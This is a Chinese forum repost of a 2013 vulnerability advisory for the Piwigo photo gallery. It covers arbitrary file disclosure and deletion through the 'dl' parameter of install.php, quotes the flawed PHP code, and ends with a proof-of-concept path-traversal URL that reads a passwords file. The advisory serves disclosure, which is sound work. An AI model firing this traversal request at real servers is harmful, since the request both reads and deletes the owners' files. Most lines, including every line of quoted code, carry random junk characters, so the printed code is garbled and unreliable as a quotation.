找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。& _, `' G% t5 P# w9 L/ X# D
/ f$ E: P7 s  [# j$ h8 U1 T) R
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
7 C# J( f, C7 H8 p, i! q====================================================================; @' ?- w" b7 }) F
/install.php:) t' {) V- \1 k/ Z- L4 V. M& g  Q
-------------
6 [0 r7 h2 [" t: O7 U, {$ o: g113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" W9 @6 o; k9 h) B  Y: `* g1 W$ ?: l5 @114: {
- `: b" [/ `2 D+ y6 `, v115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ n) r( q( U# G8 m! \* f116:   header('Cache-Control: no-cache, must-revalidate');
& l9 J* H: H# S5 r117:   header('Pragma: no-cache');  v& c! k! \& y5 i0 i$ ?
118:   header('Content-Disposition: attachment; filename="database.inc.php"');$ T* x& z" g* q# W. \$ r% x
119:   header('Content-Transfer-Encoding: binary');
- ~( J0 p/ F) ]4 `% F120:   header('Content-Length: '.filesize($filename));5 U8 R. w; O+ g' ^* ]' h7 s
121:   echo file_get_contents($filename);& d" Y) a; I5 F3 q- h7 n" u
122:   unlink($filename);6 _+ b; U9 P9 `2 M6 _5 |
123:   exit();& r$ V/ }! k; K% b; r
124: }$ }2 p% C) M+ P3 Z  u
====================================================================
6 E1 m3 K7 ?+ f 6 L2 v9 h$ d3 }: ~
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 P1 M0 G; u( {6 H( @           Apache 2.4.2 (Win32)
$ p: w7 W- u7 A4 L           PHP 5.4.4/ \' [7 F& e+ |4 L3 m+ c
           MySQL 5.5.25a/ P, d9 T( l# [, N4 B" s# O
8 I4 r, `& \+ g  P& ^
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. p, I5 s! Q5 C4 y                            @zeroscience
- Q$ ]( D5 X8 P8 E% W- m
7 ^2 F: O. F; J  k! {9 \7 x* lAdvisory ID: ZSL-2013-5127
& Q* v+ m, _; z% z& C( n7 {Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php: b9 F4 z, t2 \
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843. c2 }6 b5 M; I0 V

8 ]' m8 p* J* c; g  l15.02.20139 i4 `6 X3 C- q, T! w) i9 `

- q) v, ^/ A/ K' i$ ~: Y--: _4 E0 Z) ]+ ]. h# e4 h, O
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt9 n. S, T7 M+ v

& I8 ~1 K# Q5 e0 ]4 E6 c8 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表